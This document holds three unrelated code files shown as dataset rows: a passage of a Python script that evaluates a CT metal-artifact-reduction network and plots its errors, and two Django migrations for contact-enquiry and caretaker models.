if numpy.fabs(maxx[channelIdx] - minx[channelIdx]) > 0:
a[:, :, channelIdx] = ((a[:, :, channelIdx] - minx[channelIdx]) / (maxx[channelIdx] - minx[channelIdx])) * 2.0 - 1.0
else:
for channelIdx in itertools.islice(itertools.count(), 0, numChannels):
if numpy.fabs(maxx[channelIdx] - minx[channelIdx]) > 0:
a[:, :, :, channelIdx] = ((a[:, :, :, channelIdx] - minx[channelIdx]) / (maxx[channelIdx] - minx[channelIdx])) * 2.0 - 1.0
#print(("{} in vs {} out vs {} a-shape".format(inShape,outShape, a.shape)))
if outDimLen<inDimLen:
a = a.reshape(inShape)
return minx, maxx, a
def denormFieldArray(a, numChannels, minx=None, maxx=None, flatField=None, itype=TYPES["XRAY"]):
inShape = a.shape
inDimLen = len(inShape)
a = numpy.squeeze(a)
outShape = a.shape
outDimLen = len(outShape)
if itype == TYPES['XRAY']:
if flatField is not None:
a = a * flatField
else:
if numChannels <= 1:
a = ((a + 1.0) / 2.0) * (maxx - minx) + minx
else:
if outDimLen < 4:
for channelIdx in itertools.islice(itertools.count(), 0, numChannels):
a[:, :, channelIdx] = ((a[:, :, channelIdx] + 1.0) / 2.0) * (maxx[channelIdx] - minx[channelIdx]) + minx[channelIdx]
else:
for channelIdx in itertools.islice(itertools.count(), 0, numChannels):
a[:, :, :, channelIdx] = ((a[:, :, :, channelIdx] + 1.0) / 2.0) * (maxx[channelIdx] - minx[channelIdx]) + minx[channelIdx]
elif itype == TYPES['SCATTER']:
if numChannels <= 1:
a = ((a + 1.0) / 2.0) * (maxx - minx) + minx
else:
if outDimLen < 4:
for channelIdx in itertools.islice(itertools.count(), 0, numChannels):
a[:, :, channelIdx] = ((a[:, :, channelIdx] + 1.0) / 2.0) * (maxx[channelIdx] - minx[channelIdx]) + minx[channelIdx]
else:
for channelIdx in itertools.islice(itertools.count(), 0, numChannels):
a[:, :, :, channelIdx] = ((a[:, :, :, channelIdx] + 1.0) / 2.0) * (maxx[channelIdx] - minx[channelIdx]) + minx[channelIdx]
elif itype == TYPES['CT']:
if numChannels <= 1:
a = ((a + 1.0) / 2.0) * (maxx - minx) + minx
else:
if outDimLen < 4:
for channelIdx in itertools.islice(itertools.count(), 0, numChannels):
a[:, :, channelIdx] = ((a[:, :, channelIdx] + 1.0) / 2.0) * (maxx[channelIdx] - minx[channelIdx]) + minx[channelIdx]
else:
for channelIdx in itertools.islice(itertools.count(), 0, numChannels):
a[:, :, :, channelIdx] = ((a[:, :, :, channelIdx] + 1.0) / 2.0) * (maxx[channelIdx] - minx[channelIdx]) + minx[channelIdx]
if outDimLen<inDimLen:
a = a.reshape(inShape)
return a
slice_size = (256,256)
input_channels = 8
target_channels = 8
if __name__ == '__main__':
'''
Show models and images and error rate
Variables:
'''
fullRun=False
artifact=0 # show artifacts
optionParser = ArgumentParser(description="visualisation routine for CT denoise DeepLearning")
optionParser.add_argument("-m","--modelpath",action="store",dest="modelpath",default="",help="path to model parent folder (i.e. parent of output- and model folder)")
optionParser.add_argument("-D","--dataPath",action="store",dest="dataPath",help="full path to the evlauation data")
optionParser.add_argument("-O","--outputPath",action="store",dest="outputPath",help="path to store output images")
optionParser.add_argument("-M","--modelname",action="store",nargs='*',dest="modelname",help="name of the model file(s); if 1 given, just normal vis; if multiple given, then comparison.")
optionParser.add_argument("-H","--hist_fname",action="store",dest="hist_fname",help="full path with filename to specific history file")
optionParser.add_argument("-c","--complete",action="store_true",dest="fullRun",help="enable option to store ALL channels as images")
#options = optionParser.parse_args(args=sys.argv)
options = optionParser.parse_args()
argDict = vars(options)
outPath = ""
modelName = ["../data/models/unet_imagesinv_strid1_relu_v1_5_64_2_model.h5",] # Model file
weightsName = ["../data/models/unet_imagesinv_strid1_relu_v1_5_64_2_weights.h5",] # weights file
Mhistfile = ["../data/output/unet_imagesinv_strid1_relu_v1_5_64_2_Thist.pkl",] # Optimization Error History file
if("modelpath" in argDict) and (argDict["modelpath"]!=None):
if("modelname" in argDict) and (argDict["modelname"]!=None):
modelName=[]
weightsName=[]
head = argDict["modelpath"]
for entry in argDict["modelname"]:
modelName.append(os.path.join(head, "models", entry+"_model.h5"))
weightsName.append(os.path.join(head, "models", entry+"_weights.h5"))
outPath = os.path.join(head, os.path.pardir, "output")
print(modelName)
print(weightsName)
#=============================================================================#
#=== General setup: what is the input/output datatype, what is SE/MECT ... ===#
#=============================================================================#
input_type = TYPES["CT"]
output_type = TYPES["CT"]
flatField=None
if("flatField" in argDict) and (argDict["flatField"]!=None):
f = h5py.File(argDict["flatField"], 'r')
darray = numpy.array(f['data']['value']) #f['data0']
f.close()
flatField = darray
if ("flatField" in argDict) and (argDict["flatField"] != None):
#adapt flat field size
#flatField = transform.resize(flatField, (256,256,32), order=3, mode='reflect')
flatField = transform.resize(flatField, (slice_size[0], slice_size[1], 32), order=3, mode='reflect')
if ("fullRun" in argDict) and (argDict["fullRun"]!=None) and (argDict["fullRun"]!=False):
fullRun=True
histdir = ""
if(argDict["hist_fname"]!=None):
Mhistfile=[]
Mhistfile.append(argDict["hist_fname"])
histdir = os.path.dirname(argDict["hist_fname"])
if(argDict["outputPath"]!=None):
outPath = argDict["outputPath"]
#==========================================================================#
#==== S T A R T O F C O L L E C T I N G F I L E P A T H S ====#
#==========================================================================#
inputFileArray = []
if argDict["dataPath"]==None:
exit()
else:
for name in glob.glob(os.path.join(argDict["dataPath"],'*.h5')):
inputFileArray.append(name)
itype = None
otype = None
dumpDataFile = h5py.File(inputFileArray[0], 'r')
dumpData_in = numpy.array(dumpDataFile['Data_X'], order='F').transpose()
dumpDataFile.close()
if len(dumpData_in.shape) > 3:
dumpData_in = numpy.squeeze(dumpData_in[:, :, 0, :])
if len(dumpData_in.shape) < 3:
dumpData_in = dumpData_in.reshape(dumpData_in.shape + (1,))
# === we need to feed the data as 3D+1 channel data stack === #
if len(dumpData_in.shape) < 4:
dumpData_in = dumpData_in.reshape(dumpData_in.shape + (1,))
channelNum_in = dumpData_in.shape[2]
print("input shape: {}".format(dumpData_in.shape))
itype = dumpData_in.dtype
sqShape_in = numpy.squeeze(dumpData_in).shape
shape_in = dumpData_in.shape
shape_process_in = sqShape_in+(1,)
dumpDataFile = h5py.File(inputFileArray[0], 'r')
dumpData_out = numpy.array(dumpDataFile['Data_Y'], order='F').transpose()
dumpDataFile.close()
if len(dumpData_out.shape) > 3:
dumpData_out = numpy.squeeze(dumpData_out[:, :, 0, :])
if len(dumpData_out.shape) < 3:
dumpData_out = dumpData_out.reshape(dumpData_out.shape + (1,))
# === we need to feed the data as 3D+1 channel data stack === #
if len(dumpData_out.shape) < 4:
dumpData_out = dumpData_out.reshape(dumpData_out.shape + (1,))
channelNum_out = dumpData_out.shape[2]
print("scatter shape: {}".format(dumpData_in.shape))
otype = dumpData_out.dtype
sqShape_out = numpy.squeeze(dumpData_out).shape
shape_out = dumpData_out.shape
shape_process_out = sqShape_out+(1,)
# sort the names
digits = re.compile(r'(\d+)')
def tokenize(filename):
return tuple(int(token) if match else token for token, match in ((fragment, digits.search(fragment)) for fragment in digits.split(filename)))
# Now you can sort your file names like so:
inputFileArray.sort(key=tokenize)
#==========================================================================#
#==== E N D O F C O L L E C T I N G F I L E P A T H S =====#
#==========================================================================#
Mhist=pickle.load(open( Mhistfile[0], "rb" ) )
# Comment CK: the Mhist file represents (as it seems) the 'metrics' field of a
# Keras model (see: https://keras.io/models/model/ and https://keras.io/metrics/).
#print(Mhist.keys())
# summarize history for error function
plt.figure("erf",figsize=(6, 6), dpi=300)
plt.plot(Mhist['mean_squared_error'])
plt.plot(Mhist['val_mean_squared_error'])
#plt.plot(Mhist['val_loss'])
plt.title('mean squared error')
plt.ylabel('erf(x)')
plt.xlabel('epoch')
plt.legend(['train', 'test'], loc='upper left')
plt.savefig(os.path.join(outPath,"meanAbsErr.png"), dpi=300, format="png")
plt.close("all")
mseArray = numpy.array([Mhist['mean_squared_error'], Mhist['val_mean_squared_error']])
mseFile = h5py.File(os.path.join(outPath,"mean_squared_error.h5"),'w')
mseFile.create_dataset('data', data=mseArray.transpose());
mseFile.close()
#plt.show()
# summarize history for loss
plt.figure("loss",figsize=(6, 6), dpi=300)
plt.plot(Mhist['loss'])
plt.plot(Mhist['val_loss'])
#plt.plot(Mhist['val_mean_absolute_error'])
plt.title('loss function')
plt.ylabel('loss')
plt.xlabel('epoch')
plt.legend(['train', 'test'], loc='upper left')
plt.savefig(os.path.join(outPath,"loss.png"), dpi=300, format="png")
plt.close("all")
maeArray = numpy.array([Mhist['loss'], Mhist['val_loss']])
maeFile = h5py.File(os.path.join(outPath,"loss_mae.h5"),'w')
maeFile.create_dataset('data', data=maeArray.transpose());
maeFile.close()
del mseArray
del maeArray
lenX = len(inputFileArray)
if fullRun:
#outPath
for chidx in range(0,channelNum_in):
chpath = os.path.join(outPath,"channel%03d"%(chidx))
if os.path.exists(chpath)==False:
os.mkdir(chpath)
init = tf.global_variables_initializer()
sess = tf.Session()
sess.run(init)
with sess.as_default():
model = load_model(modelName[0])
print(modelName[0])
model.load_weights(weightsName[0])
print(weightsName[0])
#plot_model(model, to_file='model.png', show_shapes=True)
modelComp = None
if len(modelName)>1:
modelComp = load_model(modelName[0])
#imgArr = numpy.zeros((min(lenX,50),3,256,256), dtype=numpy.float32)
#errArr = numpy.zeros((min(lenX,50),256,256), dtype=numpy.float32)
#imgArr = numpy.zeros((min(lenX,50),5,256,256,targetChannels), dtype=otype)
#errArr = numpy.zeros((min(lenX,50),256,256,targetChannels), dtype=otype)
#targetChannels = 32
#energy_bin_range = int(32 / targetChannels)
#tmp = numpy.zeros((256, 256, targetChannels), dtype=otype)
imgArr = numpy.zeros((lenX, 3, slice_size[0], slice_size[1], input_channels), dtype=otype)
errArr = numpy.zeros((lenX, slice_size[0], slice_size[1], input_channels), dtype=otype)
transform_shape_in = (256, 256, shape_process_in[2], shape_process_in[3])
transform_shape_out = (256, 256, shape_process_out[2], shape_process_out[3])
#--------------------------------------------------#
#-- Flat field: reduce energy dimension & resize --#
#flatFieldSmall = numpy.zeros((96, 96, targetChannels), dtype=otype)
#for source_Eidx in range(0, 32, energy_bin_range):
# target_Eidx = int(source_Eidx / energy_bin_range)
# flatFieldSmall[:, :, target_Eidx] = numpy.mean(flatField[:, :, source_Eidx:source_Eidx + energy_bin_range], axis=2)
#--------------------------------------------------#
for imagenr in itertools.islice(itertools.count(), 0, lenX):
minValX = None
maxValX = None
minValY = None
maxValY = None
file = h5py.File(inputFileArray[imagenr],'r')
inImage = numpy.array(file['Data_X'], order='F').transpose()
file.close()
predictIn = numpy.array(inImage)
# non-norm input
# inImage = transform.resize(inImage, (slice_size[0], slice_size[1],inImage.shape[2]), order=3, mode='reflect')
# inImage = inImage.reshape(transform_shape_in)
#minValX, maxValX, inImage = normaliseFieldArray(inImage, channelNum_in, flatField, input_type)
# inImage = inImage.reshape((1,) + inImage.shape)
# inImage = inImage.astype(numpy.float32)
mx = ([0, 0, 0, 0, 0, 0, 0, 0])
mu_Ti = ([23.7942, 6.7035, 3.1118, 1.8092, 1.2668, 0.9963, 0.8428, 0.7473])
predictIn = transform.resize(predictIn, (slice_size[0], slice_size[1], channelNum_in), order=3, mode='reflect')
predictIn = predictIn.reshape(transform_shape_in)
minValX, maxValX, predictIn = normaliseFieldArray(predictIn, channelNum_in, flatField, input_type, minx=mx, maxx=mu_Ti)
predictIn = predictIn.reshape((1,) + predictIn.shape)
predictIn = predictIn.astype(numpy.float32)
file = h5py.File(inputFileArray[imagenr], 'r')
outImage = numpy.array(file['Data_Y'], order='F').transpose()
file.close()
outImage = transform.resize(outImage, (slice_size[0], slice_size[1],outImage.shape[2]), order=3, mode='reflect')
outImage = outImage.reshape(transform_shape_out)
minValY, maxValY, outImage = normaliseFieldArray(outImage, channelNum_out, flatField, input_type, minx=mx, maxx=mu_Ti)
outImage = outImage.reshape((1,) + outImage.shape)
outImage = outImage.astype(numpy.float32)
#==========================================================================================================#
# ==== E N D N O R M A L I S A T I O N & P R E P R O C E S S I N G ==== #
#==========================================================================================================#
start_predict = time.time()
img=model.predict(predictIn)
end_predict = time.time()
print("model prediction took %f seconds" % (end_predict-start_predict))
if fullRun==False:
plt.figure(imagenr,figsize=(8, 3), dpi=300)
# input image #
predictIn = predictIn.astype(otype)
predictIn = denormaliseFieldArray(predictIn[0], channelNum_in, minValX, maxValX, flatField, input_type)
imgArr[imagenr,0,:,:,:] = predictIn[:,:,:,0]
if fullRun==False:
plt.subplot(151)
plt.imshow(predictIn[:,:,0,0].squeeze(), cmap='gray')
plt.title("Metal affected")
# predicted image #
img = img.astype(otype)
img = denormaliseFieldArray(img[0], channelNum_out, minValY, maxValY, flatField, output_type)
imgArr[imagenr, 1, :, :, :] = img[:,:,:,0]
if fullRun==False:
plt.subplot(152)
plt.imshow(img[:,:,0,0].squeeze(), cmap='gray')
plt.title("MAR prediction")
# target image #
outImage = outImage.astype(otype)
outImage = denormaliseFieldArray(outImage[0], channelNum_out, minValY, maxValY, flatField, output_type)
imgArr[imagenr,2,:,:,:] = outImage[:,:,:,0]
if fullRun==False:
plt.subplot(153)
plt.imshow(outImage[:,:,0,0].squeeze(), cmap='gray')
plt.title("Ground Truth")
errArr[imagenr, :, :, :] = (outImage - img)[:, :, :, 0]
imgErr = errArr[imagenr,:,:,:]
normErr = None
if channelNum_out <=1:
normErr = numpy_normalize(imgErr).astype(numpy.float32)
else:
normErr = numpy.zeros((imgErr.shape[0],imgErr.shape[1],imgErr.shape[2]), dtype=numpy.float32)
for channelIdx in itertools.islice(itertools.count(), 0, channelNum_out):
normErr[:,:,channelIdx] = numpy_normalize(imgErr[:,:,channelIdx]).astype(numpy.float32)
errArr[imagenr,:,:,:] = numpy.square(errArr[imagenr,:,:,:])
imgErr = numpy.square(imgErr)
imgError = numpy.mean(imgErr)
normErr = numpy.square(normErr)
normError = numpy.mean(normErr)
print("MSE img %d: %g" % (imagenr, imgError))
print("normalized MSE img %d: %g" % (imagenr, normError))
if fullRun:
for channelIdx in itertools.islice(itertools.count(), 0, channelNum_in):
imgName = "predict%04d.png" % imagenr
imgPath = os.path.join(outPath,"channel%03d"%(channelIdx),imgName)
plt.figure(imagenr,figsize=(8, 3), dpi=300)
plt.subplot(151)
plt.imshow(predictIn[:,:,channelIdx,0].squeeze(), cmap='gray')
plt.title("Metal affected")
plt.subplot(152)
plt.imshow(img[:,:,channelIdx,0].squeeze(), cmap='gray')
plt.title("MAR prediction")
plt.subplot(153)
plt.imshow(outImage[:,:,channelIdx,0].squeeze(), cmap='gray')
plt.title("Ground Truth")
plt.savefig(imgPath, dpi=300, format="png")
plt.close("all")
else:
imgName = "predict%04d.png" % imagenr
plt.savefig(os.path.join(outPath,imgName), dpi=300, format="png")
plt.close("all")
imgArrFileName = "images_prediction.h5"
imgArrFile = h5py.File(os.path.join(outPath,imgArrFileName),'w')
imgArrFile.create_dataset('data', data=imgArr.transpose());
imgArrFile.close()
errArrFileName = "prediction_error.h5"
errArrFile = h5py.File(os.path.join(outPath,errArrFileName),'w')
errArrFile.create_dataset('data', data=errArr.transpose());
errArrFile.close()
|
# Generated by Django 3.0.7 on 2020-08-26 21:22
from django.db import migrations, models
import django.db.models.deletion
import django_countries.fields
class Migration(migrations.Migration):
initial = True
dependencies = [
('profiles', '0001_initial'),
]
operations = [
migrations.CreateModel(
name='Swarms',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('contact_name_full', models.CharField(max_length=50)),
('contact_email', models.EmailField(max_length=254)),
('contact_tel', models.CharField(max_length=20)),
('contact_date', models.DateTimeField(auto_now_add=True)),
('swarm_street_address1', models.CharField(max_length=80)),
('swarm_street_address2', models.CharField(blank=True, max_length=80, null=True)),
('swarm_county', models.CharField(blank=True, max_length=80, null=True)),
('swarm_town_or_city', models.CharField(max_length=40)),
('swarm_country', django_countries.fields.CountryField(max_length=2)),
('swarm_postcode', models.CharField(blank=True, max_length=20, null=True)),
('swarm_message', models.TextField()),
('user_profile', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='swarms', to='profiles.UserProfile')),
],
),
migrations.CreateModel(
name='GeneralEnquiries',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('contact_name_full', models.CharField(max_length=50)),
('contact_email', models.EmailField(max_length=254)),
('contact_tel', models.CharField(max_length=20)),
('contact_date', models.DateTimeField(auto_now_add=True)),
('enquiry_message', models.TextField()),
('user_profile', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='general_enqs', to='profiles.UserProfile')),
],
),
]
|
# Generated by Django 3.2.3 on 2021-05-13 20:28
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('caretaker', '0003_auto_20210514_0151'),
]
operations = [
migrations.AlterField(
model_name='caretaker',
name='age',
field=models.IntegerField(),
),
migrations.AlterField(
model_name='caretaker',
name='price',
field=models.IntegerField(),
),
]
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.